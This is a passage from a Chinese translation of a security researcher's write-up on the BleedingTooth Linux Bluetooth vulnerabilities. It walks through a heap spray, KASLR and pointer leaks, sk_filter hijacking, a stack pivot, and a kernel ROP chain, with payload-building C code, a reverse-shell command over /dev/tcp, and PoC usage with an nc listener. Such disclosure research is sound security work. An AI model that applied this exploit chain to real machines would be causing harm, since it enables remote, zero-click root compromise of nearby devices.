对象与被喷射对象相邻。 - 触发类型混淆并且实现一次被控的越界读取。
为了验证我们的堆喷射是成功的,我们首先可以查询 /proc/slabinfo
为了获取受害者机器上有关 kmalloc-128 的信息:
$ sudo cat /proc/slabinfo
slabinfo - version: 2.1
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
...
kmalloc-128 1440 1440 128 32 1 : tunables 0 0 0 : slabdata 45 45 0
...
在堆喷射之后,我们可以再一次请求,发现 active_objs
增加了:
$ sudo cat /proc/slabinfo
...
kmalloc-128 1760 1760 128 32 1 : tunables 0 0 0 : slabdata 55 55 0
...
在上面的示例中,我们喷射了 320 个对象。现在如果我们在这些刚被喷射过的对象的周围分配 struct amp_mgr
对象,我们在尝试解引用一个被控的指针(观察 RAX 的值)也许可以触发一个 panic 错误:
[ 58.881623] general protection fault: 0000 [#1] SMP PTI
[ 58.881639] CPU: 3 PID: 568 Comm: kworker/u9:1 Not tainted 5.4.0-48-generic #52-Ubuntu
[ 58.881645] Hardware name: Acer Aspire E5-575/Ironman_SK , BIOS V1.04 04/26/2016
[ 58.881705] Workqueue: hci0 hci_rx_work [bluetooth]
[ 58.881725] RIP: 0010:sk_filter_trim_cap+0x65/0x220
[ 58.881734] Code: 00 00 4c 89 e6 48 89 df e8 b8 c5 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 <4c> 8b 78 18 48 89 4d b0 41 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44
[ 58.881740] RSP: 0018:ffffbbccc10d3ca0 EFLAGS: 00010202
[ 58.881748] RAX: 4343434343434343 RBX: ffff96da38f70300 RCX: 0000000000000000
[ 58.881753] RDX: 0000000000000000 RSI: ffff96da62388300 RDI: ffff96da38f70300
[ 58.881758] RBP: ffffbbccc10d3d00 R08: ffff96da38f67700 R09: ffff96da68003340
[ 58.881763] R10: 00000000000301c0 R11: 8075f638da96ffff R12: ffff96da62388300
[ 58.881767] R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000008
[ 58.881774] FS: 0000000000000000(0000) GS:ffff96da69380000(0000) knlGS:0000000000000000
[ 58.881780] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 58.881785] CR2: 000055f861e4bd20 CR3: 000000024c80a001 CR4: 00000000003606e0
[ 58.881790] Call Trace:
[ 58.881869] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[ 58.881938] l2cap_data_rcv+0x351/0x510 [bluetooth]
[ 58.881995] l2cap_data_channel+0x29f/0x470 [bluetooth]
[ 58.882054] l2cap_recv_frame+0xe5/0x300 [bluetooth]
[ 58.882067] ? __switch_to_asm+0x40/0x70
[ 58.882124] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[ 58.882174] hci_rx_work+0x186/0x360 [bluetooth]
[ 58.882187] process_one_work+0x1eb/0x3b0
[ 58.882197] worker_thread+0x4d/0x400
[ 58.882207] kthread+0x104/0x140
[ 58.882215] ? process_one_work+0x3b0/0x3b0
[ 58.882223] ? kthread_park+0x90/0x90
[ 58.882233] ret_from_fork+0x35/0x40
查看受害者机器在 RDI 存储的内存地址指向的空间,我们可以看到:
$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff96da38f70300
0xffff96da38f70300: 0xffff96da601e7d00 0xffffffffc0d38760
0xffff96da38f70310: 0xffff96da60de2600 0xffff96da61c13400
0xffff96da38f70320: 0x0000000000000000 0x0000000000000001
0xffff96da38f70330: 0x0000000000000000 0x0000000000000000
0xffff96da38f70340: 0xffff96da38f70340 0xffff96da38f70340
0xffff96da38f70350: 0x0000000000000000 0x0000000000000000
0xffff96da38f70360: 0xffff96da38f70360 0xffff96da38f70360
0xffff96da38f70370: 0x0000000000000000 0x0000000000000000
0xffff96da38f70380: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f70390: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703a0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703b0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703c0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703d0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703e0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703f0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f70400: 0x4141414141414141 0x4242424242424242
0xffff96da38f70410: 0x4343434343434343 0x4444444444444444
0xffff96da38f70420: 0x4545454545454545 0x4646464646464646
0xffff96da38f70430: 0x4747474747474747 0x4848484848484848
位于 0xffff96da38f70410
的值表明了 sk_filter()
确实尝试对我们喷射的位于偏移 0x10 的指针解引用,从 struct amp_mgr
看,是位于偏移 0x110。好极了!
泄漏内存布局
现在我们已经有了构造堆的方法,为 BadKarma 攻击做好了准备。因此,可以完全控制 sk_filter
指针。问题是,我们应该把它指向哪里?为了使这个原语有用,我们必须将它指向一个我们可以控制其内容的内存地址。这就是 BadChoice 漏洞发挥作用的地方。这个漏洞有可能揭示内存布局,并帮助我们实现控制已知地址的内存块的目标。
如前所述,为了利用未初始化的堆栈变量 bug,我们必须首先发送一些不同的命令,用有趣的数据填充栈帧(例如指向堆的指针或与 ROP 链相关的 .text 段)。然后,我们可以发送存在漏洞的命令来接收数据。
通过尝试一些随机的 L2CAP 命令,我们可以观察到,如果事先不使用任何特殊命令就触发 BadChoice,那么指向内核镜像的 .text 段指针就会被泄漏。此外,通过发送 L2CAP_CONF_RSP
并尝试事先将 A2MP 通道重新配置到L2CAP_MODE_ERTM
,可以泄漏偏移量为 0x110 的结构 l2cap_chan
对象的地址。该对象的大小为 792 字节,在 kmalloc-1024 slab 中被分配。
// pahole -E -C l2cap_chan --hex bluetooth.ko
struct l2cap_chan {
...
struct delayed_work {
struct work_struct {
/* typedef atomic_long_t -> atomic64_t */ struct {
/* typedef s64 -> __s64 */ long long int counter; /* 0x110 0x8 */
} data; /* 0x110 0x8 */
...
} work; /* 0x110 0x20 */
...
} chan_timer; /* 0x110 0x58 */
...
/* size: 792, cachelines: 13, members: 87 */
/* sum members: 774, holes: 9, sum holes: 18 */
/* paddings: 4, sum paddings: 16 */
/* last cacheline: 24 bytes */
};
这个对象属于A2MP通道,可以通过破坏信道来释放它。这是很有用的,因为它允许我们在 UAF 攻击时应用相同的策略。
考虑以下技巧:
- 泄漏
struct l2cap_chan
对象的地址。 - 通过销毁 A2MP 信道来释放
struct l2cap_chan
对象。 - 重连 A2MP 信道,并且用堆原语喷射 kmalloc-1024 slab。
- 它可能会回收前一个
struct l2cap_chan
对象的地址。
换句话说,属于 struct l2cap_chan
的地址现在可能属于我们了!虽然所使用的技术非常基础,但在跑有 SLUB 分配器的 Ubuntu 上可以非常可靠地工作。一个值得担忧的问题是,当重新连接 A2MP 信道时,之前的 struct l2cap_chan
可能会在堆喷射回收位置之前被新的 struct l2cap_chan
重新占用。如果是这种情况,可以使用多个连接,即使另一个连接已经关闭,也有能力继续喷射。
注意,在 kmalloc-1024 slab 中分配对象比在 kmalloc-128 slab 中分配对象要复杂一些,因为:
- ACL MTU 通常小于 1024 字节(可以用 hciconfig 检查)。
- A2MP 信道的默认 MTU 值是
L2CAP_A2MP_DEFAULT_MTU=670
字节。
这两个 MTU 限制都很容易绕过。也就是说,我们可以通过将请求分割成多个 L2CAP 报文来绕过 ACL MTU 并且我们可以通过发送 L2CAP_CONF_MTU
响应并将其配置为 0xffff 字节来绕过 A2MP MTU。同样,如果没有发送请求,蓝牙规范为什么没有明确禁止解析配置响应?
让我们尝试一下这个技巧:
$ gcc -o exploit exploit.c -lbluetooth && sudo ./exploit XX:XX:XX:XX:XX:XX
[*] Opening hci device...
[*] Connecting to victim...
[+] HCI handle: 100
[*] Connecting A2MP channel...
[*] Leaking A2MP kernel stack memory...
[+] Kernel address: ffffffffad2001a4
[+] KASLR offset: 2b600000
[*] Preparing to leak l2cap_chan address...
[*] Leaking A2MP kernel stack memory...
[+] l2cap_chan address: ffff98ee5c62fc00
[*] Spraying kmalloc-1024...
请注意两个泄漏的指针的最重要字节的不同之处。通过观察较高的字节,我们可以做出有根据的猜测(或查阅 Linux 文档),以确定它们是属于一个段、堆还是栈。为了确认我们确实能够回收 struct l2cap_chan
的地址,我们可以使用以下命令检查受害者机器上的内存:
$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff98ee5c62fc00
0xffff98ee5c62fc00: 0x4141414141414141 0x4242424242424242
0xffff98ee5c62fc10: 0x4343434343434343 0x4444444444444444
0xffff98ee5c62fc20: 0x4545454545454545 0x4646464646464646
0xffff98ee5c62fc30: 0x4747474747474747 0x4848484848484848
...
0xffff98ee5c62fd00: 0x6161616161616161 0x6262626262626262
0xffff98ee5c62fd10: 0x6363636363636363 0x6464646464646464
0xffff98ee5c62fd20: 0x6565656565656565 0x6666666666666666
0xffff98ee5c62fd30: 0x6767676767676767 0x6868686868686868
内存内容看起来非常有希望!请注意,使用一个模式去喷射是很有用的,因为它允许我们立即识别内存块,并了解当出现 panic 错误时,哪些偏移量被取消引用。
把它们都放在一起
我们现在有了完成 RCE 所需的所有原语:
- 我们可以控制一个地址已知的内存块(称为“有效载荷”)。
- 我们可以泄漏一个 .text 段指针,并构建一个 ROP 链,我们可以将其存储在有效负载中。
- 我们可以完全控制
sk_filter
字段,并将其指向我们的有效载荷。
实现 RIP 控制
让我们回顾一下 sk_filter_trim_cap()
,并理解为什么控制 sk_filter
是有益的。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
...
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter) {
struct sock *save_sk = skb->sk;
unsigned int pkt_len;
skb->sk = sk;
pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
skb->sk = save_sk;
err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
}
rcu_read_unlock();
return err;
}
由于我们控制 filter
的值,我们也可以通过在负载中偏移量 0x18 处放置指针来控制 filter->prog
。也就是说,这是 prog
的偏移量:
// pahole -E -C sk_filter --hex bluetooth.ko
struct sk_filter {
...
struct bpf_prog * prog; /* 0x18 0x8 */
/* size: 32, cachelines: 1, members: 3 */
/* sum members: 28, holes: 1, sum holes: 4 */
/* forced alignments: 1, forced holes: 1, sum forced holes: 4 */
/* last cacheline: 32 bytes */
} __attribute__((__aligned__(8)));
struct buf_prog
的结构是:
// pahole -E -C bpf_prog --hex bluetooth.ko
struct bpf_prog {
...
unsigned int (*bpf_func)(const void *, const struct bpf_insn *); /* 0x30 0x8 */
union {
...
struct bpf_insn {
/* typedef __u8 */ unsigned char code; /* 0x38 0x1 */
/* typedef __u8 */ unsigned char dst_reg:4; /* 0x39: 0 0x1 */
/* typedef __u8 */ unsigned char src_reg:4; /* 0x39:0x4 0x1 */
/* typedef __s16 */ short int off; /* 0x3a 0x2 */
/* typedef __s32 */ int imm; /* 0x3c 0x4 */
} insnsi[0]; /* 0x38 0 */
}; /* 0x38 0 */
/* size: 56, cachelines: 1, members: 20 */
/* sum members: 50, holes: 1, sum holes: 4 */
/* sum bitfield members: 10 bits, bit holes: 1, sum bit holes: 6 bits */
/* last cacheline: 56 bytes */
};
函数 bpf_prog_run_save_cb()
将 filter->prog
传递给 BPF_PROG_RUN()
:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog *prog,
struct sk_buff *skb)
{
...
res = BPF_PROG_RUN(prog, skb);
...
return res;
}
static inline u32 bpf_prog_run_save_cb(const struct bpf_prog *prog,
struct sk_buff *skb)
{
u32 res;
migrate_disable();
res = __bpf_prog_run_save_cb(prog, skb);
migrate_enable();
return res;
}
然后用 ctx
、prog->insnsi
和 prog->bpf_func()
作为参数调用 bpf_dispatcher_nop_func()
:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
#define __BPF_PROG_RUN(prog, ctx, dfunc) ({ \
u32 ret; \
cant_migrate(); \
if (static_branch_unlikely(&bpf_stats_enabled_key)) { \
...
ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \
...
} else { \
ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func); \
} \
ret; })
#define BPF_PROG_RUN(prog, ctx) \
__BPF_PROG_RUN(prog, ctx, bpf_dispatcher_nop_func)
最后,调度程序以 ctx
和 prog->insnsi
作为参数调用 prog->bpf_func()
处理程序:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf.h
static __always_inline unsigned int bpf_dispatcher_nop_func(
const void *ctx,
const struct bpf_insn *insnsi,
unsigned int (*bpf_func)(const void *,
const struct bpf_insn *))
{
return bpf_func(ctx, insnsi);
}
总之,我们有:
sk->sk_filter->prog->bpf_func(skb, sk->sk_filter->prog->insnsi);
因为我们可以控制 sk->sk_filter
,所以我们也可以控制后面的两个解引用。这最终让我们控制了 RIP,RSI 寄存器(第二个参数)指向我们的有效载荷。
内核 Stack Pivoting
因为现在的 CPU 有 NX,所以不可能直接执行 shell 代码。然而,我们可以执行代码重用攻击,比如 ROP/JOP。当然,为了重用代码,我们必须知道它的位置,这就是为什么 KASLR 绕过是必不可少的。对于可能的攻击,ROP 通常比 JOP 更容易执行,但这需要我们重定向堆栈指针 RSP。出于这个原因,EXP 开发人员通常执行 JOP 来 Stack Pivot,然后以 ROP 链结束。
这个想法是将栈指针重定向到由 ROP gadgets 组成的有效载荷中的假栈,也就是我们的 ROP 链。因为我们知道 RSI 指向我们的载荷,所以我们想把 RSI 的值移动到 RSP。让我们看看是否有一个 gadget 可以让我们这样做。
要提取 gadgets,我们可以使用以下工具:
- extract-vmlinux 解压缩
/boot/vmlinuz
。 - ROPgadget 从
vmlinux
提取 ROP gadgets。
寻找像 mov rsp, X ; ret
这样的 gadgets,我们可以看到,它们没有一个是有用的。
$ cat gadgets.txt | grep ": mov rsp.*ret"
0xffffffff8109410c : mov rsp, qword ptr [rip + 0x15bb0fd] ; pop rbx ; pop rbp ; ret
0xffffffff810940c2 : mov rsp, qword ptr [rsp] ; pop rbp ; ret
0xffffffff8108ef0c : mov rsp, rbp ; pop rbp ; ret
也许会有一些像 push rsi ; pop rsp ; ret
这样的?
$ cat gadgets.txt | grep ": push rsi.*pop rsp.*ret"
0xffffffff81567f46 : push rsi ; adc al, 0x57 ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff8156a128 : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
0xffffffff81556cad : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81c02ab5 : push rsi ; lcall [rbx + 0x41] ; pop rsp ; pop rbp ; ret
0xffffffff8105e049 : push rsi ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81993887 : push rsi ; xchg eax, ecx ; lcall [rbx + 0x41] ; pop rsp ; pop r13 ; pop rbp ; ret
太好了,有很多可以使用的 gadgets。有趣的是,所有的 gadgets 都对 RBX+0x41 进行解引用,RBX+0x41 很可能是常用指令或指令序列的一部分。更详细地说,由于指令可以从 x86 中的任何字节开始,因此它们可以根据起始字节进行不同的解释。RBX+0x41 的解引用实际上可能会阻碍我们使用 gadgets —— 也就是说,如果 RBX 在执行 bpf_func()
时没有包含一个可写的内存地址,我们只会在执行 ROP 链之前陷入 panic 错误。幸运的是,在我们的例子中,RBX 指向 struct amp_mgr
对象,并且如果偏移量为 0x41 的字节发生更改,也不会有什么问题。
当选择 stack pivot gadget 作为 bpf_func()
的函数指针并触发它时,RSI 的值将被压入栈,然后从栈弹出,最后分配给 RSP。换句话说,栈指针将指向我们的有效载荷,一旦执行了 RET 指令,我们的 ROP 链就会启动。
static void build_payload(uint8_t data[0x400]) {
// Fake sk_filter object starting at offset 0x300.
*(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320; // prog
// Fake bpf_prog object starting at offset 0x320.
// RBX points to the amp_mgr object.
*(uint64_t *)&data[0x350] =
kaslr_offset +
PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func
*(uint64_t *)&data[0x358] = 0xDEADBEEF; // rbp
// Build kernel ROP chain that executes run_cmd() from kernel/reboot.c.
// Note that when executing the ROP chain, the data below in memory will be
// overwritten. Therefore, the argument should be located after the ROP chain.
build_krop_chain((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0);
strncpy(&data[0x3c0], remote_command, 0x40);
}
这样,我们终于实现了 RCE。为了调试我们的 stack pivot,看看我们是否成功,我们可以设置 *(uint64_t *)&data[0x360]=0x41414141
,观察一个被控的 panic 错误。
内核 ROP 链执行
现在,我们可以编写一个较大的 ROP 链来取回和执行 C 载荷,或者编写一个较小的 ROP 链来允许我们运行任意命令。为了进行 PoC(概念验证),我们已经满足于一个反向 shell,因此执行一个命令就足够了。受 write-up CVE-2019-18683: Exploiting a Linux kernel vulnerability in the V4L2 subsystem 里描述的 ROP 链的启发,我们将构建一个链,通过 /bin/bash -c /bin/bash</dev/tcp/IP/PORT
来调用 run_cmd()
生成一个反向 shell,最后调用 do_task_dead()
来停止内核线程。在那之后,蓝牙将不再工作。在更复杂的漏洞利用中,我们将恢复执行。
为了确定这两种方法的偏移量,我们可以简单地检查受害者机器上留存的符号:
$ sudo cat /proc/kallsyms | grep "run_cmd\|do_task_dead"
ffffffffab2ce470 t run_cmd
ffffffffab2dc260 T do_task_dead
这里,KASLR slide 值是 0x2a200000,它可以通过对 _text
符号进行grep 并减去 0xffffff81000000
计算得出:
$ sudo cat /proc/kallsyms | grep "T _text"
ffffffffab200000 T _text
之前的两个地址减去 slide :
#define RUN_CMD 0xffffffff810ce470
#define DO_TASK_DEAD 0xffffffff810dc260
最后,我们可以用 ROPgadget 找到 pop rax ; ret
,pop rdi ; ret
和 jmp rax
等 gadgets,然后我们可以根据这个例子构建内核 ROP链:
static void build_krop_chain(uint64_t *rop, uint64_t cmd_addr) {
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + RUN_CMD;
*rop++ = kaslr_offset + POP_RDI_RET;
*rop++ = cmd_addr;
*rop++ = kaslr_offset + JMP_RAX;
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + DO_TASK_DEAD;
*rop++ = kaslr_offset + JMP_RAX;
}
这个 ROP 链应该放在假 struct bpf_prog
对象中的偏移量 0x40 处,cmd_addr
应该指向放置在内核内存中的 bash 命令。一切就绪,我们终于能从受害者身上取回 root shell 了。
Proof-Of-Concept
POC 可在 https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth 上获得。
使用如下命令编译:
$ gcc -o exploit exploit.c -lbluetooth
并按如下方式执行:
$ sudo ./exploit target_mac source_ip source_port
在另一个终端中,运行:
$ nc -lvp 1337
exec bash -i 2>&0 1>&0
如果成功,会弹出一个计算器:
export XAUTHORITY=/run/user/1000/gdm/Xauthority
export DISPLAY=:0
gnome-calculator
偶尔,受害者可能在 dmesg 打印 Bluetooth: Trailing bytes: 6 in sframe
。 如果 kmalloc-128 slab 喷射没有成功,就会发生这种情况。这种情况下,我们需要重新执行一次 EXP。关于名称 “BadKarma”,BadKarma 漏洞偶尔会在 sk_filter()
提早退出,例如当字段 sk_filter
为 0 时,继续执行 A2MP 接收处理程序并发回一个 A2MP 响应包。 有趣的是,当这种情况发生时,受害者的机器并没有 panic 错误 —— 相反,攻击者的机器会陷入 panic 错误;因为,正如我们前面所了解的,A2MP 协议使用的 ERTM 实现在设计上会触发类型混淆。
时间线
2020-07-06 —— 在谷歌内部发现 BadVibes 漏洞
2010-07-20 —— BadKarma 和 BadChoice 漏洞在谷歌内部发现
2020-07-22 —— Linus Torvalds报告了对 BlueZ 的 BadVibes 漏洞的独立发现,并在 7 天时间内披露
2020-07-24 —— 报告给 BlueZ 主要开发人员(intel)的三个 BleedingTooth 漏洞的技术细节
2020-07-29 —— Intel 将于 2010-07-31 与谷歌召开会议
2020-07-30 —— BadVibes 补丁发布
2020-07-31 —— Intel 将披露日期定在 2020-09-01,并在 Intel 的协调下提前披露保密协议。通知方通过 kconfig 给出一个非安全性提交消息来禁用BT_HS
2020-08-12 —— Intel 调整披露日期至 2020-10-13(距离首次报告 90 天)
2020-09-25 —— Intel 向公共 bluetooth-next 分支提交补丁
2020-09-29 —— 补丁与 5.10 linux-next 分支合并
2020-10-13 —— 公开披露 Intel 的建议,随后披露 Google 的建议
2020-10-14 —— Intel 将推荐的固定版本从 5.9 修正到 5.10 内核
2020-10-15 —— Intel 删除内核升级建议
总结
从零知识开始到发现蓝牙 HCI 协议中的三个漏洞,这一过程既奇怪又出乎意料。当我第一次发现 BadVibes 漏洞时,我以为它只是由漏洞/恶意蓝牙芯片触发的,因为这个漏洞似乎太明显了。因为我没有两个带蓝牙 5 的可编程设备,我无法验证是否有可能收到这么大的播报。之后对照 Linux 与其他实现的蓝牙协议栈并阅读规范,我得出结论,我的确发现了我的第一个 RCE 漏洞,我立即去购买了另外的一台笔记本电脑(令人惊讶的是,市场上没有值得信赖的蓝牙 5 适配器)。通过分析溢出,我们很快就发现需要一个额外的信息泄漏漏洞。仅仅两天之后,我就发现了 BadChoice,这比我想象的要快得多。在试图触发它时,我发现了 BadKarma 漏洞,我最初认为它是一个会阻止 BadChoice 漏洞的不幸 bug。事实证明,绕过这个漏洞相当容易,而且这个漏洞实际上是另一个高度严重的安全漏洞。研究 Linux 蓝牙协议栈和利用 RCE 漏洞具有挑战性,但也令人兴奋,特别是因为这是我第一次审计和调试 Linux 内核。这项工作的结果令我很高兴,在默认情况下禁用蓝牙高速功能以减少攻击面,这也意味着删除强大的堆原语。 此外,我将从这项研究中获得的知识转化为 syzkaller contributions,使 fuzz /dev/vhci
设备成为可能,并发现额外的 >40 个bug。尽管大多数 bug 都不太可能被利用,或者远程触发,但它们允许工程师识别和修复其他弱点(Bluetooth: Fix null pointer dereference in hci_event_packet(), Bluetooth: Fix memory leak in read_adv_mon_features() or Bluetooth: Fix slab-out-of-bounds read in hci_extended_inquiry_result_evt())因此有助于拥有一个更安全、更稳定的内核。
感谢
Dirk Göhmann
Eduardo Vela
Francis Perron
Jann Horn
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论